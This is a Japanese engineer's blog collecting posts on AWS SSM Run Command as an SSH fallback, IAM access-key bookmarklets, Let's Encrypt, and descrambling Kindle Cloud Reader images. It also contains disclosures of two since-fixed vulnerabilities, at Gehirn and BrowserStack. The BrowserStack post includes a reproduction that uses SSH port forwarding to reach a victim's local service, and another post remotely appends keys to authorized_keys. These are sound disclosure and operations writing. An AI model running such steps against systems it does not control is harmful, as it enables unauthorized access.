Hatena::ブログ(Diary)

知らないけどきっとそう。 RSSフィード

 

2017-02-13 Amazon EC2 SSH 救命索 このエントリーを含むブックマーク

これは Amazon EC2 Run Command Advent Calendar 2016 の 75 日目の記事です。

皆さんは、アドベントカレンダーですか?

http://cdn-ak.f.st-hatena.com/images/fotolife/a/asannou/20170212/20170212195445.png

なんらかの理由(キー紛失、設定ミス、ユーザ不在、人類滅亡など)で Amazon EC2SSH 接続できなくなったとき インスタンス再作成 を強いられることがありますが、そうならないように Run Command - Amazon EC2 Systems Manager | AWS で保険をかけておくことができます。

Run Command は EC2 インスタンス上に SSM エージェントのインストール - Amazon Elastic Compute Cloud をしておくことで、AWS CLI などでリモートからシェルコマンドの実行ができるフレンズです。

http://cdn-ak.f.st-hatena.com/images/fotolife/a/asannou/20170212/20170212195445.png

最初に、EC2 インスタンスSSM サービスと通信するための IAM ロール "EC2RoleforSSMRunShellScript" をアタッチした、インスタンスプロファイル "EC2RoleJaparipark" を Terraform で作成します。

provider "aws" {
  region = "ap-northeast-1"
}

resource "aws_iam_policy" "ec2-ssm" {
  name = "EC2RoleforSSMRunShellScript"
  path = "/"
  policy = <<EOD
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "ssm:DescribeAssociation",
        "ssm:GetDeployablePatchSnapshotForInstance",
        "ssm:GetDocument",
        "ssm:GetParameters",
        "ssm:ListAssociations",
        "ssm:ListInstanceAssociations",
        "ssm:PutInventory",
        "ssm:UpdateAssociationStatus",
        "ssm:UpdateInstanceAssociationStatus",
        "ssm:UpdateInstanceInformation"
      ],
      "Resource": "*"
    },
    {
      "Effect": "Allow",
      "Action": [
        "ec2messages:AcknowledgeMessage",
        "ec2messages:DeleteMessage",
        "ec2messages:FailMessage",
        "ec2messages:GetEndpoint",
        "ec2messages:GetMessages",
        "ec2messages:SendReply"
      ],
      "Resource": "*"
    }
  ]
}
EOD
}

resource "aws_iam_role" "ec2-ssm" {
  name = "EC2RoleJaparipark"
  path = "/"
  assume_role_policy = <<EOD
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "ec2.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
EOD
}

resource "aws_iam_role_policy_attachment" "ec2-ssm" {
  role = "${aws_iam_role.ec2-ssm.name}"
  policy_arn = "${aws_iam_policy.ec2-ssm.arn}"
}

resource "aws_iam_instance_profile" "ec2-ssm" {
  name = "${aws_iam_role.ec2-ssm.name}"
  roles = ["${aws_iam_role.ec2-ssm.name}"]
}

用意されている AmazonEC2RoleforSSM でも同じことができますが、権限が強すぎるため、必要がなさそうなものを削りました。それについては EC2’s most dangerous feature を読むと、圧倒的なわかりを得ます。

対象の EC2 インスタンス i-xxxxxxxxxxxxxxxxx に "EC2RoleJaparipark" をアタッチします。以前はインスタンス作成時にのみ可能だったのですが New! Attach an AWS IAM Role to an Existing Amazon EC2 Instance by Using the AWS CLI | AWS Security Blog にて、作成済みインスタンスでもできるようになりました。すごーい!

$ aws ec2 associate-iam-instance-profile --instance-id i-xxxxxxxxxxxxxxxxx --iam-instance-profile Name=EC2RoleJaparipark

そして EC2 インスタンス i-xxxxxxxxxxxxxxxxx に SSM エージェントをインストールしましょう。

$ sudo yum install amazon-ssm-agent
$ sudo start amazon-ssm-agent

http://cdn-ak.f.st-hatena.com/images/fotolife/a/asannou/20170212/20170212195445.png

さて、リモートからコマンドを送信するための、IAM ポリシー "SSMLuckyBeast" を作成します。AWS 管理ポリシーの AmazonSSMFullAccess なども使えますが、その場合 "EC2RoleforSSMRunShellScript" をアタッチしているすべてのインスタンス送信可能になります。

provider "aws" {
  region = "ap-northeast-1"
}

data "aws_caller_identity" "aws" {}

resource "aws_iam_policy" "ssm" {
  name = "SSMLuckyBeast"
  path = "/"
  policy = <<EOD
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "ssm:SendCommand",
      "Resource": [
        "arn:aws:ssm:ap-northeast-1::document/AWS-RunShellScript",
        "arn:aws:ec2:ap-northeast-1:${data.aws_caller_identity.aws.account_id}:instance/i-xxxxxxxxxxxxxxxxx"
      ]
    },
    {
      "Effect": "Allow",
      "Action": "ssm:ListCommandInvocations",
      "Resource": "arn:aws:ssm:ap-northeast-1:${data.aws_caller_identity.aws.account_id}:*"
    }
  ]
}
EOD
}

最後に、適当な IAM ユーザに "SSMLuckyBeast" をアタッチして準備は終わりです。

$ aws iam attach-user-policy --user-name kaban --policy-arn arn:aws:iam::$(aws sts get-caller-identity --output text --query Account):policy/SSMLuckyBeast

http://cdn-ak.f.st-hatena.com/images/fotolife/a/asannou/20170212/20170212195445.png

それでは、やっていきます

$ aws ssm send-command --output text --document-name AWS-RunShellScript --instance-ids i-xxxxxxxxxxxxxxxxx --parameters commands="uname -a"
COMMAND	8020f507-8adc-4536-80af-d18dd2dafa5f		0	AWS-RunShellScript	0	1486890312.52	50	0			1486886712.52	Pending	Pending	1
INSTANCEIDS	i-xxxxxxxxxxxxxxxxx
NOTIFICATIONCONFIG
COMMANDS	uname -a

command-id で結果

$ aws ssm list-command-invocations --output text --details --command-id 8020f507-8adc-4536-80af-d18dd2dafa5f
COMMANDINVOCATIONS	8020f507-8adc-4536-80af-d18dd2dafa5f		AWS-RunShellScript	i-xxxxxxxxxxxxxxxxx		1486886712.64			Success	Success
COMMANDPLUGINS	aws:runShellScript	Linux ip-172-31-28-103 4.4.30-32.54.amzn1.x86_64 #1 SMP Thu Nov 10 15:52:05 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
			ap-northeast-1	0	1486886713.22	1486886713.22			Success	Success
NOTIFICATIONCONFIG

がおー

$ aws ssm send-command --output text --query "Command.CommandId" --document-name AWS-RunShellScript --instance-ids i-xxxxxxxxxxxxxxxxx --parameters commands="echo $(cat ~/.ssh/id_rsa.pub) >> /home/ec2-user/.ssh/authorized_keys"
7b410797-1d73-4cc9-a29c-e845e6f0621a
$ aws ssm list-command-invocations --output text --details --command-id 7b410797-1d73-4cc9-a29c-e845e6f0621a
COMMANDINVOCATIONS	7b410797-1d73-4cc9-a29c-e845e6f0621a		AWS-RunShellScript	i-xxxxxxxxxxxxxxxxx		1486888202.22			Success	Success
COMMANDPLUGINS	aws:runShellScript				ap-northeast-1	0	1486888202.66	1486888202.66			Success	Success
NOTIFICATIONCONFIG

よかったですね

$ ssh ec2-user@203.0.113.1
Last login: Thu Feb  9 19:08:31 2017 from 198.51.100.1

       __|  __|_  )
       _|  (     /   Amazon Linux AMI
      ___|\___|___|

https://aws.amazon.com/amazon-linux-ami/2016.09-release-notes/
No packages needed for security; 3 packages available
Run "sudo yum update" to apply all updates.

http://cdn-ak.f.st-hatena.com/images/fotolife/a/asannou/20170212/20170212195445.png

Run Command をバックドアっぽく使いましたが、玄関にしてもよさがあります。そうすると、権限を IAM で管理でき AWS CloudTrail (AWS API の呼び出し記録とログファイル送信) | AWS でコマンド送信が記録されるため、監査にも便利です。

Run Command を対話的にする GitHub - koshigoe/aws-ssm-console があり asannou/aws-ssm-console - Docker Hub したので、こうなります。

$ docker run -it --rm -v ~/.aws:/root/.aws asannou/aws-ssm-console --instance-ids i-xxxxxxxxxxxxxxxxx
>> uname -a
Running uname -a
[i-xxxxxxxxxxxxxxxxx]    Success: uname -a
	Linux ip-192-168-1-5 4.4.41-36.55.amzn1.x86_64 #1 SMP Wed Jan 18 01:03:26 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

たっのしー!

http://cdn-ak.f.st-hatena.com/images/fotolife/a/asannou/20170212/20170212195445.png

なお、お分かりですが ssm:ListCommandInvocations の Resource が適切ではないので、ことごとく実行結果が見放題です。カスタムロールおよびポリシー使用したアクセス設定 - Amazon Elastic Compute Cloud にあるのもガバガバだし、そうか、アマゾンは、、

2016-10-10 I am 最小権限でアクセスキーを発行したいマン このエントリーを含むブックマーク

ここまでは、一般的なウェブサービスのユーザ発行フローとほぼ同じ。

利用者が AWSリソースにアクセスするためには、アクセスキーを取得する必要がある。

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "iam:*LoginProfile",
        "iam:*AccessKey*",
        "iam:*SSHPublicKey*"
      ],
      "Resource": "arn:aws:iam::account-id-without-hyphens:user/${aws:username}"
    },
    {
      "Effect": "Allow",
      "Action": [
        "iam:ListAccount*",
        "iam:GetAccountSummary",
        "iam:GetAccountPasswordPolicy",
        "iam:ListUsers"
      ],
      "Resource": "*"
    }
  ]
}
      • ユーザの一覧画面を経由するマネジメントコンソールの設計上、本来は不要な権限を許可しなければならない問題がある(Statement の 2 要素目)

最小権限の原則 - Wikipedia に従って、下記のポリシーのみでアクセスキーを発行する方法を考える。

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "iam:*AccessKey*"
      ],
      "Resource": "arn:aws:iam::account-id-without-hyphens:user/${aws:username}"
    }
  ]
}
  1. FirefoxChromehttps://console.aws.amazon.com/iam/home にアクセス
  2. アドレスバーに "j" を入力
  3. 続けて下記のブックマークレットを入力して、アクセスキーが書かれたファイルをダウンロード
avascript:$.ajax({url:'/iam/service/proxy/CreateAccessKey',type:'POST',contentType:'application/json',data:JSON.stringify({userName:UserInfo.name})}).done(function(data){a=document.createElement('a');document.body.appendChild(a);a.download=UserInfo.name+'.accesskey.txt';a.target='_blank';a.href=window.URL.createObjectURL(new Blob([data],{type:'text/plain'}));a.click()}).fail(function(data){alert(JSON.stringify(data))})

2016 年も終盤というのに、未だにブックマークレットなんて書いている(あとはてな記法)。javascript スキームが対策されていたり、Microsoft Edge では全く使えなかったりして時の流れを感じた。

2016-01-31 ダブルクリック TLS このエントリーを含むブックマーク

f:id:asannou:20160131105405j:image

  • 熱海に来ています
  • 前回 に引き続き Let's Encrypt の話題です

f:id:asannou:20160131115144p:image

    • 入力を求められたら、その環境のドメイン名を入力します
      • 文字列の場合は、逆引きでドメイン名を解決するおまけ機能付き
    • あとはファイアウォールダイアログなどが出るかもしれませんが、適宜許可してください
    • 問題なければ、証明書 example.com.cert.pem と秘密鍵 example.com.key.pem が生成されます
    • このへんで時間切れ

2015-12-04 無限無料 SSL/TLS 証明書 このエントリーを含むブックマーク

f:id:asannou:20151204221948j:image

By Nicolas Raymond - Cosmic Rose(2014) / CC BY 2.0

※ただしドメイン認証(DV)証明書に限る

  • では、実際に asannou.0t0.jp の証明書を発行してみましょう
$ sudo docker run -it --rm -p 443:443 -v $(pwd)/letsencrypt:/etc/letsencrypt \
> quay.io/letsencrypt/letsencrypt certonly \
> -a standalone \
> -m asannou@example.com \
> -d asannou.0t0.jp \
> --standalone-supported-challenges tls-sni-01
  • ポート 443 が使えない場合は 80 を使ってください
$ sudo docker run -it --rm -p 80:80 -v $(pwd)/letsencrypt:/etc/letsencrypt \
> quay.io/letsencrypt/letsencrypt certonly \
> -a standalone \
> -m asannou@example.com \
> -d asannou.0t0.jp \
> --standalone-supported-challenges http-01

Please read the Terms of Service at

https://letsencrypt.org/documents/LE-SA-v1.0.1-July-27-2015.pdf. You

must agree in order to register with the ACME server at

https://acme-v01.api.letsencrypt.org/directory

  • Terms of Service に Agree した後、下記のメッセージが出れば成功です
IMPORTANT NOTES:
 - If you lose your account credentials, you can recover through
   e-mails sent to asannou@example.com.
 - Congratulations! Your certificate and chain have been saved at
   /etc/letsencrypt/live/asannou.0t0.jp/fullchain.pem. Your cert will
   expire on 2016-03-03. To obtain a new version of the certificate in
   the future, simply run Let's Encrypt again.
 - Your account credentials have been saved in your Let's Encrypt
   configuration directory at /etc/letsencrypt. You should make a
   secure backup of this folder now. This configuration directory will
   also contain certificates and private keys obtained by Let's
   Encrypt so making regular backups of this folder is ideal.
 - If you like Let's Encrypt, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
   Donating to EFF:                    https://eff.org/donate-le

  • カレントディレクトリの letsencrypt/ にファイル群が生成されています
$ sudo tree -A letsencrypt
letsencrypt
├── accounts
│     └── acme-v01.api.letsencrypt.org
│         └── directory
│           └── 5718fec7af7ec2b3783d69300cfc0789
│               ├── meta.json
│               ├── private_key.json
│               └── regr.json
├── archive
│   └── asannou.0t0.jp
│       ├── cert1.pem
│       ├── chain1.pem
│       ├── fullchain1.pem
│       └── privkey1.pem
├── csr
│   └── 0000_csr-letsencrypt.pem
├── keys
│   └── 0000_key-letsencrypt.pem
├── live
│   └── asannou.0t0.jp
│       ├── cert.pem -> ../../archive/asannou.0t0.jp/cert1.pem
│       ├── chain.pem -> ../../archive/asannou.0t0.jp/chain1.pem
│       ├── fullchain.pem -> ../../archive/asannou.0t0.jp/fullchain1.pem
│       └── privkey.pem -> ../../archive/asannou.0t0.jp/privkey1.pem
└── renewal
    └── asannou.0t0.jp.conf

11 directories, 14 files
  • 証明書は letsencrypt/live/asannou.0t0.jp/cert.pem にあります
$ sudo openssl x509 -text -noout -in letsencrypt/live/asannou.0t0.jp/cert.pem
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            01:aa:6c:81:85:99:b9:f9:e9:e5:f6:f7:4d:78:df:a9:fb:d3
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X1
        Validity
            Not Before: Dec  4 05:49:00 2015 GMT
            Not After : Mar  3 05:49:00 2016 GMT
        Subject: CN=asannou.0t0.jp
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    ...
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Subject Key Identifier:
                C5:85:E4:49:C5:3F:10:DD:C7:43:C6:47:33:2A:72:50:A6:4A:8E:EC
            X509v3 Authority Key Identifier:
                keyid:A8:4A:6A:63:04:7D:DD:BA:E6:D1:39:B7:A6:45:65:EF:F3:A8:EC:A1

            Authority Information Access:
                OCSP - URI:http://ocsp.int-x1.letsencrypt.org/
                CA Issuers - URI:http://cert.int-x1.letsencrypt.org/

            X509v3 Subject Alternative Name:
                DNS:asannou.0t0.jp
            X509v3 Certificate Policies:
                Policy: 2.23.140.1.2.1
                Policy: 1.3.6.1.4.1.44947.1.1.1
                  CPS: http://cps.letsencrypt.org
                  User Notice:
                    Explicit Text: This Certificate may only be relied upon by Relying Parties and only in accordance with the Certificate Policy found at https://letsencrypt.org/repository/

    Signature Algorithm: sha256WithRSAEncryption
         ...
$ sudo openssl s_server \
> -cert letsencrypt/live/asannou.0t0.jp/cert.pem \
> -key letsencrypt/live/asannou.0t0.jp/privkey.pem \
> -CAfile letsencrypt/live/asannou.0t0.jp/chain.pem \
> -www \
> -accept 443
  • このままでは 90 日で有効期限が切れてしまうため、60 日経過した時点で更新します
$ sudo docker run -it --rm -p 443:443 -v $(pwd)/letsencrypt:/etc/letsencrypt \
> quay.io/letsencrypt/letsencrypt certonly \
> -a standalone \
> -m asannou@example.com \
> -d asannou.0t0.jp \
> --standalone-supported-challenges tls-sni-01 \
> --renew-by-default

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at
   /etc/letsencrypt/live/asannou.0t0.jp/fullchain.pem. Your cert will
   expire on 2016-04-03. To obtain a new version of the certificate in
   the future, simply run Let's Encrypt again.
 - If you like Let's Encrypt, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
   Donating to EFF:                    https://eff.org/donate-le

  • この作業自動化可能なので、毎月繰り返すことにより無限に無料で SSL/TLS サーバが維持できます
  • ドメイン認証証明書を置き換えたい方、HTTPS 化をおこないたい方はご相談くださいませ

ここから蛇足

Error: urn:acme:error:rateLimited :: There were too many requests of a given type :: Error creating new cert :: Too many certificates already issued for: 0t0.jp
    • 個数は有限だった
    • ドメインごとにリミットがある
An unexpected error occurred:
The request message was malformed :: Error creating new authz :: Name is blacklisted

2014-12-22 Kindle Cloud Reader の本を Kindle DX で読みたかった このエントリーを含むブックマーク

これは Kindle DX Advent Calendar 2014 の 22 日目の記事です。

f:id:asannou:20141221190423j:image


タイトル: ブラックジャックによろしく
著作者名: 佐藤秀峰
サイト名: 漫画 on web

  • 何・・・だと・・・?
  • 前世紀に流行った FLMASK みたいな姿に変わり果てていました
  • 取り急ぎ JSONP の内容をチェックします
loadResource2({
    "resList": null,
    "data": "data:image/jpeg;base64,/9j/4AAQSkZJRgABAgAA.../2Q==",
    "metadata": {
        "id": 2,
        "map": [144, 0, 8, 8, 144, 204,
                144, 612, 168, 8, 144, 204,
                432, 408, 328, 8, 144, 204,
                288, 0, 488, 8, 144, 204,
                0, 204, 648, 8, 144, 204,
                0, 408, 8, 228, 144, 204,
                576, 0, 168, 228, 144, 204,
                0, 612, 328, 228, 144, 204,
                576, 204, 488, 228, 144, 204,
                0, 816, 648, 228, 144, 208,
                432, 0, 8, 448, 144, 204,
                288, 612, 168, 448, 144, 204,
                0, 0, 328, 448, 144, 204,
                432, 816, 488, 448, 144, 208,
                144, 816, 648, 448, 144, 208,
                288, 408, 8, 668, 144, 204,
                288, 816, 168, 668, 144, 208,
                576, 612, 328, 668, 144, 204,
                576, 816, 488, 668, 144, 208,
                144, 408, 648, 668, 144, 204,
                432, 204, 8, 888, 144, 204,
                288, 204, 168, 888, 144, 204,
                432, 612, 328, 888, 144, 204,
                144, 204, 488, 888, 144, 204,
                576, 408, 648, 888, 144, 204],
        "type": "image/jpeg"
    }
});
  • metadata.map の配列が [dx, dy, sx, sy, w, h] の繰り返しとなっていて、幅 w ピクセル、高さ h ピクセルの画像を、座標 sx, sy から dx, dy にマップすると復元できるようです(多分)
  • 上記の例でいうと、最初の 6 要素は、モザイク画像の 8, 8 から 144, 204 のサイズで切り出して、新しい画像の 144, 0 に貼り付けることになります

2014-11-04 Kindle Cloud Reader の本を Kindle DX で読みたい このエントリーを含むブックマーク

loadResource70({"data":"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEC...gD//Z","metadata":{"id":70,"type":"image/jpeg"},"resList":null});

    • 画像リソースを並列に取得して JSZip に渡してダウンロード
    • ZIP ファイルを適当なツールPDF に変換して完成
    • 写真が荒いですが、読み込むとこんな感じになりました

http://f.st-hatena.com/images/fotolife/a/asannou/20141104/20141104022918.jpg

http://f.st-hatena.com/images/fotolife/a/asannou/20141104/20141104023631.jpg


タイトル: ブラックジャックによろしく
著作者名: 佐藤秀峰
サイト名: 漫画 on web

  • 9.7インチ以上の Kindle はもう発売されないのでしょうか
  • 個人的には以下のようなシンプルな電子書籍リーダーを望みます
    • 電子インク(画面の美しさと充電頻度の少なさ)
    • 9.7インチクラス
    • 150ppi 以上の解像度(Kindle DX はやや足りない)
    • SDカードなどの外部ストレージKindle DX は内蔵 4GB のみで不便)
    • PDF対応(ZIP をそのまま見開きで見られればうれしい)
    • 軽量
ソニー デジタルペーパー DPT-S1

ソニー デジタルペーパー DPT-S1

2014-02-17 OAuth 以外の方法 このエントリーを含むブックマーク

f:id:asannou:20140217033609j:image

By zama_zama - IMG_0741-2(2014) / CC BY 2.0

  • API を持たないウェブサービスから、保護された情報を安全に取得する方法を検討しています
  • 正攻法では OAuth なのですが、よりサーバ側の実装コストが少ない手段を模索してみましょう
  • 比較表
サーバ側コスト取得元コスト動作検証リスク
OAuth 2.0 + API不可トークン漏洩
アプリケーション固有のパスワード不可固有パスワード漏洩
ネイティブアプリなし可能ログインパスワード漏洩
XMLHttpRequest Level 2容易取得情報漏洩
  • クライアントから情報を取得するケースは、ユーザによる改ざんの可能性があるので、用途によっては注意が必要ですね
  • ネイティブアプリはたびたび意図に反した送信が発覚しますが、ユーザから見て JavaScript は安心感があります
  • サーバ間の通信については、後日掘り下げて考えてみたいと思います

2013-11-14 OAuthセキュリティ強化を目的とする拡張仕様を導入してもらいました このエントリーを含むブックマーク

f:id:asannou:20131114214431j:image

By Steven Crawford - Attack of the rotten oranges(2011) / CC BY-NC-SA 2.0

  • そして Request Token 復活的な発想に至ったのでした
  • 今気づいたけど「カスタム URL スキーム上書き Authorization Code 横取り問題」の解決にもなってる?

2013-05-19 亡きポート接続のためのエントリー このエントリーを含むブックマーク

ゲヒルンという、月315円のいわゆるレンタルサーバを試しています。

22歳のセキュリティーコンサルタントが立ち上げたのはたった315円で利用できるインフラサービス | TechCrunch Japan

アカウントを登録した後、SSHログインし $HOME/public_html にファイルを置くと http://asannou.gehirn.ne.jp/ のように公開することができました。デフォルトでWAFが入ってたり、X-Content-Type-Options ヘッダが付与されたりします。

ユーザごとに許可されたポートで node.js などを起動することもでき、外部から http://asannou.gehirn.ne.jp:6xxxx/ などとして直接アクセスできました。リバースプロキシを使って、http://asannou.gehirn.ne.jp/ へのアクセスを、ポート 6xxxx に転送することも可能です。

レンタルサーバのため、root権限はありません。また、他のユーザの利用状況がある程度わかります。(ユーザ foobar が、ポート 6yyyy で LISTEN しているなど)


ここで問題なのですが、 http://foobar.gehirn.ne.jp/ において、リバースプロキシ経由で公開したつもりでも、デフォルトhttp://foobar.gehirn.ne.jp:6yyyy/ を直接閲覧できるため、WAF等を回避できてしまうケースがありました。

f:id:asannou:20130519170850p:image

(破線で囲まれている部分がレンタルサーバで、1個のIPアドレスを共有しています)

ゲヒルン株式会社に連絡したところ、速やかに対策としてファイアウォール機能がリリースされました。

ページが見つかりませんでした | ゲヒルンサポートセンター

この機能によって、意図的に公開している場合のみ、直接のポート接続を許可できるようになります。


後日、さらに別の問題に気づいたので、再度報告をしました。内容は下記のとおりです。

http://asannou.gehirn.ne.jp:6xxxx/http://foobar.gehirn.ne.jp:6xxxx/ としても閲覧できてしまうため、http://foobar.gehirn.ne.jp/ で発行されたクッキーを、ユーザ asannou に盗まれる

f:id:asannou:20130519170851p:image


http://tools.ietf.org/html/rfc6265#section-8.5 にあるとおり、ポート番号が異なっても、ドメインが同じであれば、クッキーは送信されます。レンタルサーバなので asannou.gehirn.ne.jp と foobar.gehirn.ne.jp は、同じIPアドレスを指しています。前述のファイアウォール機能は、自らオープンしたポートに対する接続を制限するものであるため、攻撃者が用意したポートへの接続には関係ありません。直接のポート接続を残すために、色々と検討していただきましたが、報告からしばらくして、6xxxx などのポート接続は禁止されました。

ページが見つかりませんでした | ゲヒルンサポートセンター

これでクッキーを盗まれる問題は解決し、残念ですが HTTP(S) 以外のサービスを公開することはできなくなったのでした。

あまり意識していませんでしたが、ブラウザの Same Origin Policy と、クッキーの仕様は微妙に異なることを知りました。(XHRだとポートが異なるだけで失敗する)あと、今は非推奨らしいですが Set-Cookie2 はポートの指定も可能だったようです。


と、ここまで書いて、以下で公式の解説がされているのを見つけました。

3月4日におこなったGehirn RS2のセキュリティ強化についての話 | Gehirn News

ゲヒルン株式会社のみなさま、ご対応をありがとうございます。1ユーザ(315円/月)としては *.gehirn.ne.jp と無関係のIPアドレスが用意され、そこからポート 6xxxx に転送していただけたりすると、大変助かります。


2013-05-08 BrowserStack の脆弱性を報告して修正された このエントリーを含むブックマーク

再現手順


被害者
  • 適当なサービスをローカルで起動する
$ python -m SimpleHTTPServer 8000 &
  • BrowserStackTunnel.jar を起動する
$ java -jar BrowserStackTunnel.jar -v nMx5jv4YhEe4bQTgFA3p localhost,8000,0
...
You can now access your local server(s) in our remote browser:
You have used your Command Line Key (nMx5jv4YhEe4bQTgFA3p) to connect
via Local Tunnel http://localhost:8000
INFO: ec2-ap-southeast-1v2-repeater.browserstack.com:16125 -> localhost:8000
...

f:id:asannou:20130508183957p:image


攻撃者
  • BrowserStack に SSH で接続し、逆方向のトンネルを作成する
$ ssh -v -T -N -i key ruser@ec2-ap-southeast-1v2-repeater.browserstack.com -L 8888:localhost:16125 &
...
debug1: Local connections to LOCALHOST:8888 forwarded to remote
address localhost:16125
...
    • 被害者のポート番号 (16125) が必要だが、順番に割り当てられるので推測は可能
  • 被害者のローカルで動作するサービスにアクセスできる
$ curl http://localhost:8888/
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href="BrowserStackTunnel.jar">BrowserStackTunnel.jar</a>
</ul>
<hr>
</body>
</html>

f:id:asannou:20130508183958p:image


対策方法

  • BrowserStack の sshd で設定を変更
    • local -> BrowserStack の転送を禁止し BrowserStack -> local の転送のみ許可する
PermitOpen none
AllowTcpForwarding remote

修正後

  • 転送時に拒否されるようになった
$ curl http://localhost:8888/
debug1: Connection to port 8888 forwarding to localhost port 17033 requested.
debug1: channel 2: new [direct-tcpip]
channel 2: open failed: administratively prohibited: open failed
debug1: channel 2: free: direct-tcpip: listening port 8888 for localhost port 17033, connect from 127.0.0.1 port 56298, nchannels 3
curl: (52) Empty reply from server
  • SSH は機能が多いので気が抜けませんね
  • コマンドラインのみで意思疎通をはかったため、修正してもらうまで、3ヶ月近くかかりました